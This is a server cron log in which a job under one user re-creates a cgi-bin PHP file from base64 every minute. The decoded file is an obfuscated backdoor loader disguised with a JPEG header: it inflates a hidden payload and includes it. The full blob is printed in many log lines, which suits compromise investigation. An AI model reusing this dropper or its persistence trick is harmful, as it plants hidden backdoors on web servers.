Sep  1 21:36:01 server CROND[16763]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:36:01 server CROND[16764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:36:01 server CROND[16762]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:37:01 server CROND[17133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:37:01 server CROND[17134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:37:01 server CROND[17135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:38:01 server CROND[17507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:38:01 server CROND[17508]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:38:01 server CROND[17509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:39:01 server CROND[17980]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:39:01 server CROND[17981]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:39:01 server CROND[17982]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  1 21:39:01 server CROND[17983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:40:01 server CROND[18383]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 21:40:01 server CROND[18384]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:40:01 server CROND[18385]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:40:01 server CROND[18396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:40:01 server CROND[18394]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:40:01 server CROND[18403]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:40:01 server CROND[18395]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:40:01 server CROND[18398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:41:01 server CROND[19219]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:41:01 server CROND[19220]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:41:01 server CROND[19221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:42:01 server CROND[19592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:42:01 server CROND[19593]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:42:01 server CROND[19591]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:42:01 server CROND[19590]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  1 21:43:01 server CROND[20020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:43:01 server CROND[20021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:43:01 server CROND[20022]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:44:01 server CROND[20728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:44:01 server CROND[20729]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:44:01 server CROND[20730]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:45:01 server CROND[21104]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 21:45:01 server CROND[21100]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 21:45:01 server CROND[21103]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 21:45:01 server CROND[21101]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 21:45:01 server CROND[21102]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:45:01 server CROND[21105]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:45:01 server CROND[21106]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:46:01 server CROND[21941]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:46:01 server CROND[21943]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:46:01 server CROND[21942]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 21:47:01 server CROND[22352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 21:47:01 server CROND[22353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 21:47:01 server CROND[22354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
